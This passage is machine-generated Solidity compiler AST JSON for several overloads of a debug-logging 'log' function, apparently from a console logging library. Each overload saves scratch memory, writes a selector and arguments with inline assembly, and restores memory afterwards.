pure"}},"id":42522,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"264130:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":42523,"nodeType":"ExpressionStatement","src":"264130:27:22"},{"AST":{"nativeSrc":"264176:156:22","nodeType":"YulBlock","src":"264176:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"264197:4:22","nodeType":"YulLiteral","src":"264197:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"264203:2:22","nodeType":"YulIdentifier","src":"264203:2:22"}],"functionName":{"name":"mstore","nativeSrc":"264190:6:22","nodeType":"YulIdentifier","src":"264190:6:22"},"nativeSrc":"264190:16:22","nodeType":"YulFunctionCall","src":"264190:16:22"},"nativeSrc":"264190:16:22","nodeType":"YulExpressionStatement","src":"264190:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"264226:4:22","nodeType":"YulLiteral","src":"264226:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"264232:2:22","nodeType":"YulIdentifier","src":"264232:2:22"}],"functionName":{"name":"mstore","nativeSrc":"264219:6:22","nodeType":"YulIdentifier","src":"264219:6:22"},"nativeSrc":"264219:16:22","nodeType":"YulFunctionCall","src":"264219:16:22"},"nativeSrc":"264219:16:22","nodeType":"YulExpressionStatement","src":"264219:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"264255:4:22","nodeType":"YulLiteral","src":"264255:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"264261:2:22","nodeType":"YulIdentifier","src":"264261:2:22"}],"functionName":{"name":"mstore","nativeSrc":"264248:6:22","nodeType":"YulIdentifier","src":"264248:6:22"},"nativeSrc":"264248:16:22","nodeType":"YulFunctionCall","src":"264248:16:22"},"nativeSrc":"264248:16:22","nodeType":"YulExpressionStatement","src":"264248:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"264284:4:22","nodeType":"YulLiteral","src":"264284:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"264290:2:22","nodeType":"YulIdentifier","src":"264290:2:22"}],"functionName":{"name":"mstore","nativeSrc":"264277:6:22","nodeType":"YulIdentifier","src":"264277:6:22"},"nativeSrc":"264277:16:22","nodeType":"YulFunctionCall","src":"264277:16:22"},"nativeSrc":"264277:16:22","nodeType":"YulExpressionStatement","src":"264277:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"264313:4:22","nodeType":"YulLiteral","src":"264313:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"264319:2:22","nodeType":"YulIdentifier","src":"264319:2:22"}],"functionName":{"name":"mstore","nativeSrc":"264306:6:22","nodeType":"YulIdentifier","src":"264306:6:22"},"nativeSrc":"264306:16:22","nodeType":"YulFunctionCall","src":"264306:16:22"},"nativeSrc":"264306:16:22","nodeType":"YulExpressionStatement","src":"264306:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42504,"isOffset":false,"isSlot":false,"src":"264203:2:22","valueSize":1},{"declaration":42507,"isOffset":false,"isSlot":false,"src":"264232:2:22","valueSize":1},{"declaration":42510,"isOffset":false,"isSlot":false,"src":"264261:2:22","valueSize":1},{"declaration":42513,"isOffset":false,"isSlot":false,"src":"264290:2:22","valueSize":1},{"declaration":42516,"isOffset":false,"isSlot":false,"src":"264319:2:22","valueSize":1}],"id":42524,"nodeType":"InlineAssembly","src":"264167:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"263561:3:22","parameters":{"id":42501,"nodeType":"ParameterList","parameters":[{"constant":false,"id":42494,"mutability":"mutable","name":"p0","nameLocation":"263573:2:22","nodeType":"VariableDeclaration","scope":42526,"src":"263565:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42493,"name":"uint256","nodeType":"ElementaryTypeName","src":"263565:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42496,"mutability":"mutable","name":"p1","nameLocation":"263585:2:22","nodeType":"VariableDeclaration","scope":42526,"src":"263577:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42495,"name":"uint256","nodeType":"ElementaryTypeName","src":"263577:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42498,"mutability":"mutable","name":"p2","nameLocation":"263597:2:22","nodeType":"VariableDeclaration","scope":42526,"src":"263589:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":42497,"name":"address","nodeType":"ElementaryTypeName","src":"263589:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":42500,"mutability":"mutable","name":"p3","nameLocation":"263606:2:22","nodeType":"VariableDeclaration","scope":42526,"src":"263601:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":42499,"name":"bool","nodeType":"ElementaryTypeName","src":"263601:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"263564:45:22"},"returnParameters":{"id":42502,"nodeType":"ParameterList","parameters":[],"src":"263624:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":42560,"nodeType":"FunctionDefinition","src":"264344:792:22","nodes":[],"body":{"id":42559,"nodeType":"Block","src":"264419:717:22","nodes":[],"statements":[{"assignments":[42538],"declarations":[{"constant":false,"id":42538,"mutability":"mutable","name":"m0","nameLocation":"264437:2:22","nodeType":"VariableDeclaration","scope":42559,"src":"264429:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42537,"name":"bytes32","nodeType":"ElementaryTypeName","src":"264429:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42539,"nodeType":"VariableDeclarationStatement","src":"264429:10:22"},{"assignments":[42541],"declarations":[{"constant":false,"id":42541,"mutability":"mutable","name":"m1","nameLocation":"264457:2:22","nodeType":"VariableDeclaration","scope":42559,"src":"264449:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42540,"name":"bytes32","nodeType":"ElementaryTypeName","src":"264449:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42542,"nodeType":"VariableDeclarationStatement","src":"264449:10:22"},{"assignments":[42544],"declarations":[{"constant":false,"id":42544,"mutability":"mutable","name":"m2","nameLocation":"264477:2:22","nodeType":"VariableDeclaration","scope":42559,"src":"264469:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42543,"name":"bytes32","nodeType":"ElementaryTypeName","src":"264469:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42545,"nodeType":"VariableDeclarationStatement","src":"264469:10:22"},{"assignments":[42547],"declarations":[{"constant":false,"id":42547,"mutability":"mutable","name":"m3","nameLocation":"264497:2:22","nodeType":"VariableDeclaration","scope":42559,"src":"264489:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42546,"name":"bytes32","nodeType":"ElementaryTypeName","src":"264489:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42548,"nodeType":"VariableDeclarationStatement","src":"264489:10:22"},{"assignments":[42550],"declarations":[{"constant":false,"id":42550,"mutability":"mutable","name":"m4","nameLocation":"264517:2:22","nodeType":"VariableDeclaration","scope":42559,"src":"264509:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42549,"name":"bytes32","nodeType":"ElementaryTypeName","src":"264509:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42551,"nodeType":"VariableDeclarationStatement","src":"264509:10:22"},{"AST":{"nativeSrc":"264538:381:22","nodeType":"YulBlock","src":"264538:381:22","statements":[{"nativeSrc":"264552:17:22","nodeType":"YulAssignment","src":"264552:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"264564:4:22","nodeType":"YulLiteral","src":"264564:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"264558:5:22","nodeType":"YulIdentifier","src":"264558:5:22"},"nativeSrc":"264558:11:22","nodeType":"YulFunctionCall","src":"264558:11:22"},"variableNames":[{"name":"m0","nativeSrc":"264552:2:22","nodeType":"YulIdentifier","src":"264552:2:22"}]},{"nativeSrc":"264582:17:22","nodeType":"YulAssignment","src":"264582:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"264594:4:22","nodeType":"YulLiteral","src":"264594:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"264588:5:22","nodeType":"YulIdentifier","src":"264588:5:22"},"nativeSrc":"264588:11:22","nodeType":"YulFunctionCall","src":"264588:11:22"},"variableNames":[{"name":"m1","nativeSrc":"264582:2:22","nodeType":"YulIdentifier","src":"264582:2:22"}]},{"nativeSrc":"264612:17:22","nodeType":"YulAssignment","src":"264612:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"264624:4:22","nodeType":"YulLiteral","src":"264624:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"264618:5:22","nodeType":"YulIdentifier","src":"264618:5:22"},"nativeSrc":"264618:11:22","nodeType":"YulFunctionCall","src":"264618:11:22"},"variableNames":[{"name":"m2","nativeSrc":"264612:2:22","nodeType":"YulIdentifier","src":"264612:2:22"}]},{"nativeSrc":"264642:17:22","nodeType":"YulAssignment","src":"264642:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"264654:4:22","nodeType":"YulLiteral","src":"264654:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"264648:5:22","nodeType":"YulIdentifier","src":"264648:5:22"},"nativeSrc":"264648:11:22","nodeType":"YulFunctionCall","src":"264648:11:22"},"variableNames":[{"name":"m3","nativeSrc":"264642:2:22","nodeType":"YulIdentifier","src":"264642:2:22"}]},{"nativeSrc":"264672:17:22","nodeType":"YulAssignment","src":"264672:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"264684:4:22","nodeType":"YulLiteral","src":"264684:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"264678:5:22","nodeType":"YulIdentifier","src":"264678:5:22"},"nativeSrc":"264678:11:22","nodeType":"YulFunctionCall","src":"264678:11:22"},"variableNames":[{"name":"m4","nativeSrc":"264672:2:22","nodeType":"YulIdentifier","src":"264672:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"264776:4:22","nodeType":"YulLiteral","src":"264776:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"264782:10:22","nodeType":"YulLiteral","src":"264782:10:22","type":"","value":"0x88f6e4b2"}],"functionName":{"name":"mstore","nativeSrc":"264769:6:22","nodeType":"YulIdentifier","src":"264769:6:22"},"nativeSrc":"264769:24:22","nodeType":"YulFunctionCall","src":"264769:24:22"},"nativeSrc":"264769:24:22","nodeType":"YulExpressionStatement","src":"264769:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"264813:4:22","nodeType":"YulLiteral","src":"264813:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"264819:2:22","nodeType":"YulIdentifier","src":"264819:2:22"}],"functionName":{"name":"mstore","nativeSrc":"264806:6:22","nodeType":"YulIdentifier","src":"264806:6:22"},"nativeSrc":"264806:16:22","nodeType":"YulFunctionCall","src":"264806:16:22"},"nativeSrc":"264806:16:22","nodeType":"YulExpressionStatement","src":"264806:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"264842:4:22","nodeType":"YulLiteral","src":"264842:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"264848:2:22","nodeType":"YulIdentifier","src":"264848:2:22"}],"functionName":{"name":"mstore","nativeSrc":"264835:6:22","nodeType":"YulIdentifier","src":"264835:6:22"},"nativeSrc":"264835:16:22","nodeType":"YulFunctionCall","src":"264835:16:22"},"nativeSrc":"264835:16:22","nodeType":"YulExpressionStatement","src":"264835:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"264871:4:22","nodeType":"YulLiteral","src":"264871:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"264877:2:22","nodeType":"YulIdentifier","src":"264877:2:22"}],"functionName":{"name":"mstore","nativeSrc":"264864:6:22","nodeType":"YulIdentifier","src":"264864:6:22"},"nativeSrc":"264864:16:22","nodeType":"YulFunctionCall","src":"264864:16:22"},"nativeSrc":"264864:16:22","nodeType":"YulExpressionStatement","src":"264864:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"264900:4:22","nodeType":"YulLiteral","src":"264900:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"264906:2:22","nodeType":"YulIdentifier","src":"264906:2:22"}],"functionName":{"name":"mstore","nativeSrc":"264893:6:22","nodeType":"YulIdentifier","src":"264893:6:22"},"nativeSrc":"264893:16:22","nodeType":"YulFunctionCall","src":"264893:16:22"},"nativeSrc":"264893:16:22","nodeType":"YulExpressionStatement","src":"264893:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42538,"isOffset":false,"isSlot":false,"src":"264552:2:22","valueSize":1},{"declaration":42541,"isOffset":false,"isSlot":false,"src":"264582:2:22","valueSize":1},{"declaration":42544,"isOffset":false,"isSlot":false,"src":"264612:2:22","valueSize":1},{"declaration":42547,"isOffset":false,"isSlot":false,"src":"264642:2:22","valueSize":1},{"declaration":42550,"isOffset":false,"isSlot":false,"src":"264672:2:22","valueSize":1},{"declaration":42528,"isOffset":false,"isSlot":false,"src":"264819:2:22","valueSize":1},{"declaration":42530,"isOffset":false,"isSlot":false,"src":"264848:2:22","valueSize":1},{"declaration":42532,"isOffset":false,"isSlot":false,"src":"264877:2:22","valueSize":1},{"declaration":42534,"isOffset":false,"isSlot":false,"src":"264906:2:22","valueSize":1}],"id":42552,"nodeType":"InlineAssembly","src":"264529:390:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":42554,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"264944:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":42555,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"264950:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":42553,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"264928:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":42556,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"264928:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":42557,"nodeType":"ExpressionStatement","src":"264928:27:22"},{"AST":{"nativeSrc":"264974:156:22","nodeType":"YulBlock","src":"264974:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"264995:4:22","nodeType":"YulLiteral","src":"264995:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"265001:2:22","nodeType":"YulIdentifier","src":"265001:2:22"}],"functionName":{"name":"mstore","nativeSrc":"264988:6:22","nodeType":"YulIdentifier","src":"264988:6:22"},"nativeSrc":"264988:16:22","nodeType":"YulFunctionCall","src":"264988:16:22"},"nativeSrc":"264988:16:22","nodeType":"YulExpressionStatement","src":"264988:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"265024:4:22","nodeType":"YulLiteral","src":"265024:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"265030:2:22","nodeType":"YulIdentifier","src":"265030:2:22"}],"functionName":{"name":"mstore","nativeSrc":"265017:6:22","nodeType":"YulIdentifier","src":"265017:6:22"},"nativeSrc":"265017:16:22","nodeType":"YulFunctionCall","src":"265017:16:22"},"nativeSrc":"265017:16:22","nodeType":"YulExpressionStatement","src":"265017:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"265053:4:22","nodeType":"YulLiteral","src":"265053:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"265059:2:22","nodeType":"YulIdentifier","src":"265059:2:22"}],"functionName":{"name":"mstore","nativeSrc":"265046:6:22","nodeType":"YulIdentifier","src":"265046:6:22"},"nativeSrc":"265046:16:22","nodeType":"YulFunctionCall","src":"265046:16:22"},"nativeSrc":"265046:16:22","nodeType":"YulExpressionStatement","src":"265046:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"265082:4:22","nodeType":"YulLiteral","src":"265082:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"265088:2:22","nodeType":"YulIdentifier","src":"265088:2:22"}],"functionName":{"name":"mstore","nativeSrc":"265075:6:22","nodeType":"YulIdentifier","src":"265075:6:22"},"nativeSrc":"265075:16:22","nodeType":"YulFunctionCall","src":"265075:16:22"},"nativeSrc":"265075:16:22","nodeType":"YulExpressionStatement","src":"265075:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"265111:4:22","nodeType":"YulLiteral","src":"265111:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"265117:2:22","nodeType":"YulIdentifier","src":"265117:2:22"}],"functionName":{"name":"mstore","nativeSrc":"265104:6:22","nodeType":"YulIdentifier","src":"265104:6:22"},"nativeSrc":"265104:16:22","nodeType":"YulFunctionCall","src":"265104:16:22"},"nativeSrc":"265104:16:22","nodeType":"YulExpressionStatement","src":"265104:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42538,"isOffset":false,"isSlot":false,"src":"265001:2:22","valueSize":1},{"declaration":42541,"isOffset":false,"isSlot":false,"src":"265030:2:22","valueSize":1},{"declaration":42544,"isOffset":false,"isSlot":false,"src":"265059:2:22","valueSize":1},{"declaration":42547,"isOffset":false,"isSlot":false,"src":"265088:2:22","valueSize":1},{"declaration":42550,"isOffset":false,"isSlot":false,"src":"265117:2:22","valueSize":1}],"id":42558,"nodeType":"InlineAssembly","src":"264965:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"264353:3:22","parameters":{"id":42535,"nodeType":"ParameterList","parameters":[{"constant":false,"id":42528,"mutability":"mutable","name":"p0","nameLocation":"264365:2:22","nodeType":"VariableDeclaration","scope":42560,"src":"264357:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42527,"name":"uint256","nodeType":"ElementaryTypeName","src":"264357:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42530,"mutability":"mutable","name":"p1","nameLocation":"264377:2:22","nodeType":"VariableDeclaration","scope":42560,"src":"264369:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42529,"name":"uint256","nodeType":"ElementaryTypeName","src":"264369:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42532,"mutability":"mutable","name":"p2","nameLocation":"264389:2:22","nodeType":"VariableDeclaration","scope":42560,"src":"264381:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":42531,"name":"address","nodeType":"ElementaryTypeName","src":"264381:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":42534,"mutability":"mutable","name":"p3","nameLocation":"264401:2:22","nodeType":"VariableDeclaration","scope":42560,"src":"264393:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42533,"name":"uint256","nodeType":"ElementaryTypeName","src":"264393:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"264356:48:22"},"returnParameters":{"id":42536,"nodeType":"ParameterList","parameters":[],"src":"264419:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":42600,"nodeType":"FunctionDefinition","src":"265142:1340:22","nodes":[],"body":{"id":42599,"nodeType":"Block","src":"265217:1265:22","nodes":[],"statements":[{"assignments":[42572],"declarations":[{"constant":false,"id":42572,"mutability":"mutable","name":"m0","nameLocation":"265235:2:22","nodeType":"VariableDeclaration","scope":42599,"src":"265227:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42571,"name":"bytes32","nodeType":"ElementaryTypeName","src":"265227:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42573,"nodeType":"VariableDeclarationStatement","src":"265227:10:22"},{"assignments":[42575],"declarations":[{"constant":false,"id":42575,"mutability":"mutable","name":"m1","nameLocation":"265255:2:22","nodeType":"VariableDeclaration","scope":42599,"src":"265247:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42574,"name":"bytes32","nodeType":"ElementaryTypeName","src":"265247:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42576,"nodeType":"VariableDeclarationStatement","src":"265247:10:22"},{"assignments":[42578],"declarations":[{"constant":false,"id":42578,"mutability":"mutable","name":"m2","nameLocation":"265275:2:22","nodeType":"VariableDeclaration","scope":42599,"src":"265267:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42577,"name":"bytes32","nodeType":"ElementaryTypeName","src":"265267:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42579,"nodeType":"VariableDeclarationStatement","src":"265267:10:22"},{"assignments":[42581],"declarations":[{"constant":false,"id":42581,"mutability":"mutable","name":"m3","nameLocation":"265295:2:22","nodeType":"VariableDeclaration","scope":42599,"src":"265287:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42580,"name":"bytes32","nodeType":"ElementaryTypeName","src":"265287:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42582,"nodeType":"VariableDeclarationStatement","src":"265287:10:22"},{"assignments":[42584],"declarations":[{"constant":false,"id":42584,"mutability":"mutable","name":"m4","nameLocation":"265315:2:22","nodeType":"VariableDeclaration","scope":42599,"src":"265307:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42583,"name":"bytes32","nodeType":"ElementaryTypeName","src":"265307:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42585,"nodeType":"VariableDeclarationStatement","src":"265307:10:22"},{"assignments":[42587],"declarations":[{"constant":false,"id":42587,"mutability":"mutable","name":"m5","nameLocation":"265335:2:22","nodeType":"VariableDeclaration","scope":42599,"src":"265327:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42586,"name":"bytes32","nodeType":"ElementaryTypeName","src":"265327:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42588,"nodeType":"VariableDeclarationStatement","src":"265327:10:22"},{"assignments":[42590],"declarations":[{"constant":false,"id":42590,"mutability":"mutable","name":"m6","nameLocation":"265355:2:22","nodeType":"VariableDeclaration","scope":42599,"src":"265347:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42589,"name":"bytes32","nodeType":"ElementaryTypeName","src":"265347:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42591,"nodeType":"VariableDeclarationStatement","src":"265347:10:22"},{"AST":{"nativeSrc":"265376:831:22","nodeType":"YulBlock","src":"265376:831:22","statements":[{"body":{"nativeSrc":"265419:313:22","nodeType":"YulBlock","src":"265419:313:22","statements":[{"nativeSrc":"265437:15:22","nodeType":"YulVariableDeclaration","src":"265437:15:22","value":{"kind":"number","nativeSrc":"265451:1:22","nodeType":"YulLiteral","src":"265451:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"265441:6:22","nodeType":"YulTypedName","src":"265441:6:22","type":""}]},{"body":{"nativeSrc":"265522:40:22","nodeType":"YulBlock","src":"265522:40:22","statements":[{"body":{"nativeSrc":"265551:9:22","nodeType":"YulBlock","src":"265551:9:22","statements":[{"nativeSrc":"265553:5:22","nodeType":"YulBreak","src":"265553:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"265539:6:22","nodeType":"YulIdentifier","src":"265539:6:22"},{"name":"w","nativeSrc":"265547:1:22","nodeType":"YulIdentifier","src":"265547:1:22"}],"functionName":{"name":"byte","nativeSrc":"265534:4:22","nodeType":"YulIdentifier","src":"265534:4:22"},"nativeSrc":"265534:15:22","nodeType":"YulFunctionCall","src":"265534:15:22"}],"functionName":{"name":"iszero","nativeSrc":"265527:6:22","nodeType":"YulIdentifier","src":"265527:6:22"},"nativeSrc":"265527:23:22","nodeType":"YulFunctionCall","src":"265527:23:22"},"nativeSrc":"265524:36:22","nodeType":"YulIf","src":"265524:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"265479:6:22","nodeType":"YulIdentifier","src":"265479:6:22"},{"kind":"number","nativeSrc":"265487:4:22","nodeType":"YulLiteral","src":"265487:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"265476:2:22","nodeType":"YulIdentifier","src":"265476:2:22"},"nativeSrc":"265476:16:22","nodeType":"YulFunctionCall","src":"265476:16:22"},"nativeSrc":"265469:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"265493:28:22","nodeType":"YulBlock","src":"265493:28:22","statements":[{"nativeSrc":"265495:24:22","nodeType":"YulAssignment","src":"265495:24:22","value":{"arguments":[{"name":"length","nativeSrc":"265509:6:22","nodeType":"YulIdentifier","src":"265509:6:22"},{"kind":"number","nativeSrc":"265517:1:22","nodeType":"YulLiteral","src":"265517:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"265505:3:22","nodeType":"YulIdentifier","src":"265505:3:22"},"nativeSrc":"265505:14:22","nodeType":"YulFunctionCall","src":"265505:14:22"},"variableNames":[{"name":"length","nativeSrc":"265495:6:22","nodeType":"YulIdentifier","src":"265495:6:22"}]}]},"pre":{"nativeSrc":"265473:2:22","nodeType":"YulBlock","src":"265473:2:22","statements":[]},"src":"265469:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"265586:3:22","nodeType":"YulIdentifier","src":"265586:3:22"},{"name":"length","nativeSrc":"265591:6:22","nodeType":"YulIdentifier","src":"265591:6:22"}],"functionName":{"name":"mstore","nativeSrc":"265579:6:22","nodeType":"YulIdentifier","src":"265579:6:22"},"nativeSrc":"265579:19:22","nodeType":"YulFunctionCall","src":"265579:19:22"},"nativeSrc":"265579:19:22","nodeType":"YulExpressionStatement","src":"265579:19:22"},{"nativeSrc":"265615:37:22","nodeType":"YulVariableDeclaration","src":"265615:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"265632:3:22","nodeType":"YulLiteral","src":"265632:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"265641:1:22","nodeType":"YulLiteral","src":"265641:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"265644:6:22","nodeType":"YulIdentifier","src":"265644:6:22"}],"functionName":{"name":"shl","nativeSrc":"265637:3:22","nodeType":"YulIdentifier","src":"265637:3:22"},"nativeSrc":"265637:14:22","nodeType":"YulFunctionCall","src":"265637:14:22"}],"functionName":{"name":"sub","nativeSrc":"265628:3:22","nodeType":"YulIdentifier","src":"265628:3:22"},"nativeSrc":"265628:24:22","nodeType":"YulFunctionCall","src":"265628:24:22"},"variables":[{"name":"shift","nativeSrc":"265619:5:22","nodeType":"YulTypedName","src":"265619:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"265680:3:22","nodeType":"YulIdentifier","src":"265680:3:22"},{"kind":"number","nativeSrc":"265685:4:22","nodeType":"YulLiteral","src":"265685:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"265676:3:22","nodeType":"YulIdentifier","src":"2